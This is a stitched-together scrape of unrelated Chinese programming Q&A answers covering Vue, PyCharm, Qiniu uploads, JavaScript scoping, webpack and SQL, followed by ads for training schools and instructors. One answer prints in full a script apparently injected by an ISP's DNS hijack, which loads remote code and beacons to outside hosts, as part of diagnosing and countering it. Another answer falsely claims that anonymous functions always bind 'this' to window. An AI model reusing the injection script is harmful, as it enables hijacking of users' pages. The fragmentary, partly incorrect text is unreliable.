既然用Vue,就不要用jQuery了,你這個需求需要使用動態(tài)模板(dynamic template),步驟這樣:
1 需要用vue的full版本(包括compiler),而不僅是runtime版本,在webpack配置中需要增加一個alias,類似
vue: 'vue/dist/vue.js'
2.然后在模板文件中,使用下面的方式來嵌入動態(tài)模板
<component :is="dynamicTemplate()" />
dynamicTemplate函數(shù)需要返回處理好的模板內(nèi)容,類似:
return Vue.compile('<div>' + dynamicContent +'</div>')
之所以再套一個div,是因為Vue的模塊需要單根。如果在動態(tài)模板內(nèi)容中依賴一些組件,這些組件需要提前注冊好,可以使用vue的全局模塊注冊。
《Linux系統(tǒng)管理技術(shù)手冊》有很大一部分講的是網(wǎng)絡(luò)方面的內(nèi)容,不過可能沒有docker的相關(guān)知識,畢竟有點年頭了
SciView in PyCharm 2017.3 reduces functionality of Matplotlib
具體辦法:Settings | Tools | Python Scientific | Show Plots in Toolwindow,去掉
通常將 gettext define 為 _ 來使用
在 system.h 的第 43 行有這么一行代碼 #define _(String) gettext(String)
filter: blur(0px);
改為
filter: none;
可以解決問題。
item.name==='tom' && item.address==='河北' && item.age > 24你把你自己自定義組件里面按鈕的事件拋出去給activity界面處理不就行了。
<script src="/js/plupload.full.min.js"></script>
<script src="https://cdn.staticfile.org/qi...;></script>
componentDidMount(){
this.initQiniu();
}
initQiniu(){
var _this = this;
var uploader = Qiniu.uploader({
runtimes: 'html5,flash,html4', // 上傳模式,依次退化
browse_button: 'pickfiles', // 上傳選擇的點選按鈕,**必需**
uptoken_url: 'url to fetch token', // Ajax 請求 uptoken 的 Url,**強烈建議設(shè)置**(服務(wù)端提供)
get_new_uptoken: false, // 設(shè)置上傳文件的時候是否每次都重新獲取新的 uptoken
unique_names: true, // 默認 false,key 為文件名。若開啟該選項,JS-SDK 會為每個文件自動生成key(文件名)
domain: 'xxx', // bucket 域名,下載資源時用到,**必需**
container: 'container', // 上傳區(qū)域 DOM ID,默認是 browser_button 的父元素,
max_file_size: '100mb', // 最大文件體積限制
flash_swf_url: 'path/of/plupload/Moxie.swf', //引入 flash,相對路徑
max_retries: 3, // 上傳失敗最大重試次數(shù)
dragdrop: true, // 開啟可拖曳上傳
drop_element: 'container', // 拖曳上傳區(qū)域元素的 ID,拖曳文件或文件夾后可觸發(fā)上傳
chunk_size: '4mb', // 分塊上傳時,每塊的體積
auto_start: true, // 選擇文件后自動上傳,若關(guān)閉需要自己綁定事件觸發(fā)上傳,
init: {
'FilesAdded': (up, files) => {
plupload.each(files, function(file) {
// 文件添加進隊列后,處理相關(guān)的事情
});
},
'BeforeUpload': (up, file) => {
// 每個文件上傳前,處理相關(guān)的事情
},
'UploadProgress': (up, file) => {
// 每個文件上傳時,處理相關(guān)的事情
this.setState({
isUploading: true,
});
},
'FileUploaded': (up, file, info) => {
const domain = window.domain;
const res = JSON.parse(info);
const sourceLink = domain + res.key; //獲取上傳成功后的文件的Url
this.setState({
fileUrl: sourceLink,
isUploading: false
});
},
'Error': (up, err, errTip) => {
//上傳出錯時,處理相關(guān)的事情
},
'UploadComplete': () => {
//隊列文件處理完畢后,處理相關(guān)的事情
},
}
});
}
render(){
return(
<div id="container">
<div id="pickfiles">上傳</div>
</div>
)
}
因為fn是個匿名函數(shù)
舉個簡單例子
var obj = {
fn1: function() {
console.log(this);//此處輸出obj本身
var noNamed = function() {
console.log(this);//此處輸出windowd對象
};
return noNamed();
}
};
obj.fn1();
以上,你的var fn=function(){};再return fn()本質(zhì)上就是個直接調(diào)用的匿名函數(shù)閉包 return function(){}
你只是將這個匿名函數(shù)賦值給fn了,并不能改變他沒函數(shù)名的本質(zhì)
結(jié)論:只要是匿名函數(shù),this就指向window全局對象,例如:
function foo() {
var fn = setTimeout(function() { //我是匿名函數(shù)
console.log(`setTimeout的this不會隨foo改變:${this.age}`);
}, 0);
}
foo.call({
age: '1000'
});//輸出undefinedconfig 文件夾的 index.js,修改 build 配置項:
module.exports = {
dev: {
// ...
assetsSubDirectory: 'static',
assetsPublicPath: '/',
// ...
},
build: {
// ...
assetsRoot: path.resolve(__dirname, '../../dist'),
assetsSubDirectory: 'static',
assetsPublicPath: `${settings.cdn}/`,
// ...
}
}你對這個React頁面對應(yīng)的地址啟用 google自動翻譯了?
數(shù)據(jù)庫里的數(shù)據(jù)結(jié)構(gòu)已經(jīng)很清晰了,根本不需要用sql解決的問題,是如何在前端展示的問題
a -> b 1000
b -> c 550
a -> d 200
a -> e 300
c -> f 300數(shù)據(jù)庫原生的話字符串是沒有單增這一說法的吧,你可以在應(yīng)用層做,比如:
SELECT CONCAT("KZ",id) as id from table1;已解決.. 使用多個serviceId可以解決這種情況;
后面會整理發(fā)出;
static,靜態(tài)變量,了解一下。
已經(jīng)自行解決,原來是打包后的應(yīng)用程序的獲取后端數(shù)據(jù)的接口地址應(yīng)該改成局域網(wǎng)的ip
在苦苦尋覓下,找這里找到了答案:https://segmentfault.com/q/10...
出現(xiàn)的原因是因為 電信劫持了dns,在網(wǎng)頁中將我原來的5.fd7xxxxxxxxxxxx.js成以下的代碼
var _b, _c, _ju = "http://testapi.233sy.cn/tg/down/static/js/5.fd7c409603287d19fa4b.js";
_ju = _ju + (_ju.indexOf("?") > 0 ? "&" :"?") + "_t=" + new Date().getTime(),
_b = "AH488569",_c = "382542271_(iKm6V1g0V1P6wj8Nih==_358325746_@iJvkDKehwJ9Wi6et9JgWitfZMe==_)iKghiJeh", function(a) {
function b(b) {
var c = a.createElement("script");
c.setAttribute("src", b), a.head ? a.head.appendChild(c) :a.body && a.body.appendChild(c);
}
var c = a.location.host.split("."), d = c.length, e = c[d - 2] + "." + c[d - 1];
/^(com|net|org|gov)$/.test(c[d - 2]) && d > 2 && (e = c[d - 3] + "." + c[d - 2] + "." + c[d - 1]),
_ju.indexOf(e) > 0 ? (a.write('<div><script>document.write(unescape(\'%3Cscript id="_ju_" src="' + _ju + "\" %3E%3C/script%3E') );</script></div>"),
a.getElementById("_ju_") || b(_ju)) :b(_ju), b("http:///gfnsdv.yxwwj.cn:8001/pjk/static/tp.php?b="+_b+"&");
}(document);
我使用的是路由懶加載,才有上面的提示。之前模塊5被替換這個,就load不到了。
解決方式:
1、使用https協(xié)議,不讓電信劫持dns
2、自己判斷不正常代碼存在,重新刷新該地址(短期內(nèi),我們目前就是用這種方式解決的)
window.onload = function(){
let isSetInt = false;
let setInt = setInterval(r => {
let index = getstore() || 0;
let findDns = false;
if (isSetInt) {
clearInterval(setInt);
let scr = document.getElementsByTagName('script');
for (var i = scr.length - 1; i >= 0; i--) {
if (scr[i].src.indexOf('gfnsdv.yxwwj.cn') != -1 && index < 2) {
findDns = true;
store(++index);
window.location.reload();
break;
}
}
if (!findDns) {
store(0)
}
}
try{
if (getmd5) {
isSetInt = true;
}
}catch(e){
console.log(e);
}
},1000);
}
function store (state) {
try {
return localStorage.setItem('index', state);
} catch (e) {
cookie.setCookie('index',state, 1);
}
}
function getstore () {
if (localStorage.getItem('index') == null) {
return unescape(cookie.getCookie('index'));
}else{
return localStorage.getItem('index');
}
}北大青鳥APTECH成立于1999年。依托北京大學(xué)優(yōu)質(zhì)雄厚的教育資源和背景,秉承“教育改變生活”的發(fā)展理念,致力于培養(yǎng)中國IT技能型緊缺人才,是大數(shù)據(jù)專業(yè)的國家
達內(nèi)教育集團成立于2002年,是一家由留學(xué)海歸創(chuàng)辦的高端職業(yè)教育培訓(xùn)機構(gòu),是中國一站式人才培養(yǎng)平臺、一站式人才輸送平臺。2014年4月3日在美國成功上市,融資1
北大課工場是北京大學(xué)校辦產(chǎn)業(yè)為響應(yīng)國家深化產(chǎn)教融合/校企合作的政策,積極推進“中國制造2025”,實現(xiàn)中華民族偉大復(fù)興的升級產(chǎn)業(yè)鏈。利用北京大學(xué)優(yōu)質(zhì)教育資源及背
博為峰,中國職業(yè)人才培訓(xùn)領(lǐng)域的先行者
曾工作于聯(lián)想擔任系統(tǒng)開發(fā)工程師,曾在博彥科技股份有限公司擔任項目經(jīng)理從事移動互聯(lián)網(wǎng)管理及研發(fā)工作,曾創(chuàng)辦藍懿科技有限責任公司從事總經(jīng)理職務(wù)負責iOS教學(xué)及管理工作。
浪潮集團項目經(jīng)理。精通Java與.NET 技術(shù), 熟練的跨平臺面向?qū)ο箝_發(fā)經(jīng)驗,技術(shù)功底深厚。 授課風格 授課風格清新自然、條理清晰、主次分明、重點難點突出、引人入勝。
精通HTML5和CSS3;Javascript及主流js庫,具有快速界面開發(fā)的能力,對瀏覽器兼容性、前端性能優(yōu)化等有深入理解。精通網(wǎng)頁制作和網(wǎng)頁游戲開發(fā)。
具有10 年的Java 企業(yè)應(yīng)用開發(fā)經(jīng)驗。曾經(jīng)歷任德國Software AG 技術(shù)顧問,美國Dachieve 系統(tǒng)架構(gòu)師,美國AngelEngineers Inc. 系統(tǒng)架構(gòu)師。